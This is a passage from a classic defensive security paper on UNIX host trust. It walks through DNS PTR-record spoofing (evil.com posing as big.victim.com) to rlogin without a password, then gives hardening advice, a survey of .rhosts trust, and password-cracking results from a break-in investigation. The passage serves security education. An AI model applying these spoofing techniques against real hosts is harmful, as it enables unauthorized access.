  723. the /etc/hosts file for a direct lookup. However, today most hosts use
  724. either DNS (the Domain Name Service), NIS, or both for name lookup service.
  725. A reverse lookup occurs when a server has an IP address (from a client host
  726. connecting to it) and wishes to get the corresponding client hostname.
  727.  
  728. Although the concept of how host trust works is well understood by most
  729. system administrators, the _dangers_ of trust, and the _practical_ problem
  730. it represents, irrespective of hostname impersonation, is one of the least
  731. understood problems we know of on the Internet. This goes far beyond the
  732. obvious hosts.equiv and rhosts files; NFS, NIS, windowing systems -- indeed,
  733. much of the useful services in UNIX are based on the concept that well known
  734. (to an administrator or user) sites are trusted in some way. What is not
  735. understood is how networking so tightly binds security between what are
  736. normally considered disjoint hosts.
  737.  
  738. Any form of trust can be spoofed, fooled, or subverted, especially when the
  739. authority that gets queried to check the credentials of the client is either
  740. outside of the server's administrative domain, or when the trust mechanism
  741. is based on something that has a weak form of authentication; both are
  742. usually the case.
  743.  
  744. Obviously, if the host containing the database (either NIS, DNS, or
  745. whatever) has been compromised, the intruder can convince the target host
  746. that s/he is coming from any trusted host; it is now sufficient to find out
  747. which hosts are trusted by the target. This task is often greatly helped by
  748. examining where system administrators and system accounts (such as root,
  749. etc.) last logged in from. Going back to our target, victim.com, you note
  750. that root and some other system accounts logged in from big.victim.com. You
  751. change the PTR record for evil.com so that when you attempt to rlogin in
  752. from evil.com to victim.com, victim.com will attempt to look up your
  753. hostname and will find what you placed in the record. If the record in the
  754. DNS database looks like:
  755.  
  756.  1.192.192.192.in-addr.arpa     IN      PTR     evil.com
  757.  
  758. And you change it to:
  759.  
  760.  1.192.192.192.in-addr.arpa     IN      PTR     big.victim.com
  761.  
  762. then, depending on how naive victim.com's system software is, victim.com
  763. will believe the login comes from big.victim.com, and, assuming that
  764. big.victim.com is in the /etc/hosts.equiv or /.rhosts files, you will be
  765. able to login without supplying a password. With NIS, it is a simple matter
  766. of either editing the host database on the NIS master (if this is controlled
  767. by the intruder) or of spoofing or forcing NIS (see discussion on NIS
  768. security above) to supply the target with whatever information you desire.
  769. Although more complex, interesting, and damaging attacks can be mounted via
  770. DNS, time and space don't allow coverage of these methods here.
  771.  
  772. Two methods can be used to prevent such attacks. The first is the most
  773. direct, but perhaps the most impractical. If your site doesn't use any
  774. trust, you won't be as vulnerable to host spoofing. The other strategy is to
  775. use cryptographic protocols. Using the secure RPC protocol (used in secure
  776. NFS, NIS+, etc.) is one method; although it has been "broken"
  777. cryptographically, it still provides better assurance than RPC
  778. authentication schemes that do not use any form of encryption. Other
  779. solutions, both hardware (smartcards) and software (Kerberos), are being
  780. developed, but they are either incomplete or require changes to system
  781. software.
  782.  
  783. Appendix B details the results of an informal survey taken from a variety of
  784. hosts on the Internet.
  785.  
  786. Protecting the system
  787.  
  788. It is our hope that we have demonstrated that even some of the most
  789. seemingly innocuous services run can offer (sometimes unexpectedly)
  790. ammunition to determined system crackers. But, of course, if security were
  791. all that mattered, computers would never be turned on, let alone hooked into
  792. a network with literally millions of potential intruders. Rather than
  793. reiterating specific advice on what to switch on or off, we instead offer
  794. some general suggestions:
  795.  
  796.    * If you cannot turn off the finger service, consider installing a
  797.      modified finger daemon. It is rarely necessary to reveal a user's home
  798.      directory and the source of last login.
  799.    * Don't run NIS unless it's absolutely necessary. Use NFS as little as
  800.      possible.
  801.    * Never export NFS filesystems unrestricted to the world. Try to export
  802.      file systems read-only where possible.
  803.    * Fortify and protect servers (e.g. hosts that provide a service to other
  804.      hosts -- NFS, NIS, DNS, whatever.) Only allow administrative accounts
  805.      on these hosts.
  806.    * Examine carefully services offered by inetd and the portmapper.
  807.      Eliminate any that aren't explicitly needed. Use Wietse Venema's inetd
  808.      wrappers, if for no other reason than to log the sources of connections
  809.      to your host. This adds immeasurably to the standard UNIX auditing
  810.      features, especially with respect to network attacks. If possible, use
  811.      the loghost mechanism of syslog to collect security-related information
  812.      on a secure host.
  813.    * Eliminate trust unless there is an absolute need for it. Trust is your
  814.      enemy.
  815.    * Use shadow passwords and a passwd command that disallows poor
  816.      passwords. Disable or delete unused/dormant system or user accounts.
  817.    * Keep abreast of current literature (see our suggested reading list and
  818.      bibliography at the end of this paper) and security tools; communicate
  819.      to others about security problems and incidents. At minimum, subscribe
  820.      to the CERT mailing list and phrack magazine (plus the firewalls
  821.      mailing list, if your site is using or thinking about installing a
  822.      firewall) and read the usenet security newsgroups to get the latest
  823.      information on security problems. Ignorance is the deadliest security
  824.      problem we are aware of.
  825.    * Install all vendor security patches as soon as possible, on all of your
  826.      hosts. Examine security patch information for other vendors - many bugs
  827.      (rdist, sendmail) are common to many UNIX variants.
  828.  
  829. It is interesting to note that common solutions to security problems such as
  830. running Kerberos or using one-time passwords or digital tokens are
  831. ineffective against most of the attacks we discuss here. We heartily
  832. recommend the use of such systems, but be aware that they are _not_ a total
  833. security solution -- they are part of a larger struggle to defend your
  834. system.
  835.  
  836. Conclusions
  837.  
  838. Perhaps none of the methods shown here are surprising; when writing this
  839. paper, we didn't learn very much about how to break into systems. What we
  840. _did_ learn was, while testing these methods out on our own systems and that
  841. of friendly sites, just how effective this set of methods is for gaining
  842. access to a typical (UNIX) Internet host. Tiring of trying to type these in
  843. all by hand, and desiring to keep our own systems more secure, we decided to
  844. implement a security tool (SATAN) that attempts to check remote hosts for at
  845. least some of the problems discussed here. The typical response, when
  846. telling people about our paper and our tool was something on the order of
  847. "that sounds pretty dangerous -- I hope you're not going to give it out to
  848. everybody. But you since you can trust me, may I have a copy of it?"
  849.  
  850. We never set out to create a cookbook or toolkit of methods and programs on
  851. how to break into systems -- instead, we saw that these same methods were
  852. being used, every day, against ourselves and against friendly system
  853. administrators. We believe that by propagating information that normally
  854. wasn't available to those outside of the underworld, we can increase
  855. security by raising awareness. Trying to restrict access to "dangerous"
  856. security information has never seemed to be a very effective method for
  857. increasing security; indeed, the opposite appears to be the case, since the
  858. system crackers have shown little reticence to share their information with
  859. each other.
  860.  
  861. While it is almost certain that some of the information presented here is
  862. new material to (aspiring) system crackers, and that some will use it to
  863. gain unauthorized entrance onto hosts, the evidence presented even by our ad
  864. hoc tests shows that there is a much larger number of insecure sites, simply
  865. because the system administrators don't know any better -- they aren't
  866. stupid or slow, they simply are unable to spend the very little free time
  867. that they have to explore all of the security issues that pertain to their
  868. systems. Combine that with no easy access to this sort of information and
  869. you have poorly defended systems. We (modestly) hope that this paper will
  870. provide badly-needed data on how systems are broken into, and further, to
  871. explain _why_ certain steps should be taken to secure a system. Knowing why
  872. something is a problem is, in our opinion, the real key to learning and to
  873. making an informed, intelligent choice as to what security really means for
  874. your site.
  875.  
  876. ----------------------------------------------------------------------------
  877.  
  878. Appendix A:
  879.  
  880. SATAN (Security Analysis Tool for Auditing Networks)
  881.  
  882. Originally conceived some years ago, SATAN is actually the prototype of a
  883. much larger and more comprehensive vision of a security tool. In its current
  884. incarnation, SATAN remotely probes and reports various bugs and weaknesses
  885. in network services and windowing systems, as well as detailing as much
  886. generally useful information as possible about the target(s). It then
  887. processes the data with a crude filter and what might be termed an expert
  888. system to generate the final security analysis. While not particularly fast,
  889. it is extremely modular and easy to modify.
  890.  
  891. SATAN consists of several sub-programs, each of which is an executable file
  892. (perl, shell, compiled C binary, whatever) that tests a host for a given
  893. potential weakness. Adding further test programs is as simple as putting an
  894. executable into the main directory with the extension ".sat"; the driver
  895. program will automatically execute it. The driver generates a set of targets
  896. (using DNS and a fast version of ping together to get "live" targets), and
  897. then executes each of the programs over each of the targets. A data
  898. filtering/interpreting program then analyzes the output, and lastly a
  899. reporting program digests everything into a more readable format.
  900.  
  901. The entire package, including source code and documentation, will be made
  902. freely available to the public, via anonymous ftp and by posting it to one
  903. of the numerous source code groups on the Usenet.
  904.  
  905. ----------------------------------------------------------------------------
  906.  
  907. Appendix B:
  908.  
  909. An informal survey conducted on about a dozen Internet sites (educational,
  910. military, and commercial, with over 200 hosts and 40000 accounts) revealed
  911. that on the average, close to 10 percent of a site's accounts had .rhosts
  912. files. These files averaged six trusted hosts each; however, it was not
  913. uncommon to have well over one hundred entries in an account's .rhosts file,
  914. and on a few occasions, the number was over five hundred! (This is not a
  915. record one should be proud of owning.) In addition, _every_ site directly on
  916. the internet (one site was mostly behind a firewall) trusted a user or host
  917. at another site -- thus, the security of the site was not under the system
  918. administrators direct control. The larger sites, with more users and hosts,
  919. had a lower percentage of users with .rhosts files, but the size of .rhosts
  920. files increased, as well as the number of trusted off-site hosts.
  921.  
  922. Although it was very difficult to verify how many of the entries were valid,
  923. with such hostnames such as "Makefile", "Message-Id:", and
  924. "^Cs^A^C^M^Ci^C^MpNu^L^Z^O", as well as quite a few wildcard entries, we
  925. question the wisdom of putting a site's security in the hands of its users.
  926. Many users (especially the ones with larger .rhosts files) attempted to put
  927. shell-style comments in their .rhosts files, which most UNIX systems attempt
  928. to resolve as valid host names. Unfortunately, an attacker can then use the
  929. DNS and NIS hostname spoofing techniques discussed earlier to set their
  930. hostname to "#" and freely log in. This puts a great many sites at risk (at
  931. least one major vendor ships their systems with comments in their
  932. /etc/hosts.equiv files.)
  933.  
  934. You might think that these sites were not typical, and, as a matter of fact,
  935. they weren't. Virtually all of the administrators knew a great deal about
  936. security and write security programs for a hobby or profession, and many of
  937. the sites that they worked for did either security research or created
  938. security products. We can only guess at what a "typical" site might look
  939. like.
  940.  
  941. ----------------------------------------------------------------------------
  942.  
  943. Appendix C:
  944.  
  945. After receiving mail from a site that had been broken into from one of our
  946. systems, an investigation was started. In time, we found that the intruder
  947. was working from a list of ".com" (commercial) sites, looking for hosts with
  948. easy-to steal password files. In this case, "easy-to-steal" referred to
  949. sites with a guessable NIS domainname and an accessible NIS server. Not
  950. knowing how far the intruder had gotten, it looked like a good idea to warn
  951. the sites that were in fact vulnerable to password file theft. Of the 656
  952. hosts in the intruder's hit list, 24 had easy-to-steal password files --
  953. about one in twenty-five hosts! One third of these files contained at least
  954. one password-less account with an interactive shell. With a grand total of
  955. 1594 password-file entries, a ten-minute run of a publically-available
  956. password cracker (Crack) revealed more than 50 passwords, using nothing but
  957. a low-end Sun workstation. Another 40 passwords were found within the next
  958. 20 minutes; and a root password was found in just over an hour. The result
  959. after a few days of cracking: five root passwords found, 19 out of 24
  960. password files (eighty percent) with at least one known password, and 259 of
  961. 1594 (one in six) passwords guessed.
  962.  
  963. ----------------------------------------------------------------------------
  964.  
  965. Appendix D:
  966.  
  967. How to get some free security resources on the Internet
  968.  
  969. Mailing lists:
  970.  
  971.    * The CERT (Computer Emergency Response Team) advisory mailing list. Send
  972.      e-mail to cert@cert.org, and ask to be placed on their mailing list.
  973.    * The Phrack newsletter. Send an e-mail message to phrack@well.sf.ca.us
  974.      and ask to be added to the list.
  975.    * The Firewalls mailing list. Send the following line to
  976.      majordomo@greatcircle.com:
  977.  
  978.          subscribe firewalls
  979.  
  980.    * Computer Underground Digest. Send e-mail to tk0jut2@mvs.cso.niu.edu,
  981.      asking to be placed on the list.
  982.  
  983. Free Software:
  984.  
  985. COPS (Computer Oracle and Password System) is available via anonymous ftp
  986. from ftp://ftp.win.tue.nl/pub/security/.
  987.  
  988. The latest version of berkeley sendmail is available via anonymous ftp from
  989. ftp://ftp.cs.berkeley.edu/ucb/sendmail/.
  990.  
  991. Sources for ftpd and many other network utilities can be found in
  992. ftp://ftp.uu.net/packages/bsd-sources/.
  993.  
  994. Source for ISS (Internet Security Scanner), a tool that remotely scans for
  995. various network vulnerabilities, is available via anonymous ftp from
  996. ftp://ftp.uu.net/usenet/comp.sources.misc/volume40/iss/.
  997.  
  998. Securelib is available via anonymous ftp from
  999. ftp://ftp.uu.net/usenet/comp.sources.misc/volume36/securelib/.
  1000.  
  1001. ----------------------------------------------------------------------------
  1002.  
  1003. Bibliography:
  1004.  
  1005. Baldwin, Robert W., Rule Based Analysis of Computer Security, Massachusetts
  1006. Institute of Technology, June 1987.
  1007.  
  1008. Bellovin, Steve, Using the Domain Name System for System Break-ins, 1992
  1009. (unpublished).
  1010.  
  1011. Massachusetts Institute of Technology, X Window System Protocol, Version 11,
  1012. 1990.
  1013.  
  1014. Shimomura, Tsutomu, private communication.
  1015.  
  1016. Sun Microsystems, OpenWindows V3.0.1 User Commands, March 1992.
  1017. ----------------------------------------------------------------------------
  1018.  
  1019. Suggested reading:
  1020.  
  1021. Bellovin, Steve, Security Problems in the TCP/IP Protocol Suite, Computer
  1022. Communication Review 19 (2), 1989; a comment by Stephen Kent appears in
  1023. volume 19 (3), 1989.
  1024.  
  1025. Garfinkle, Simson and Spafford, Gene, Practical UNIX Security, O'Reilly and
  1026. Associates, Inc., 1992.
  1027.  
  1028. Hess, David, Safford, David, and Pooch, Udo, A UNIX Network Protocol Study:
  1029. Network Information Service, Computer Communication Review 22 (5) 1992.
  1030.  
  1031. Phreak Accident, Playing Hide and Seek, UNIX style, Phrack, Volume Four,
  1032. Issue Forty-Three, File 14 of 27.
  1033.  
  1034. Ranum, Marcus, Firewalls internet electronic mailing list, Sept 1993.
  1035.  
  1036. Schuba, Christoph, Addressing Weaknesses in the Domain Name System Protocal,
  1037. Purdue University, August 1993.
  1038.  
  1039. Thompson, Ken, Reflections on Trusting Trust, Communications of the ACM 27
  1040. (8),1984.
  1041.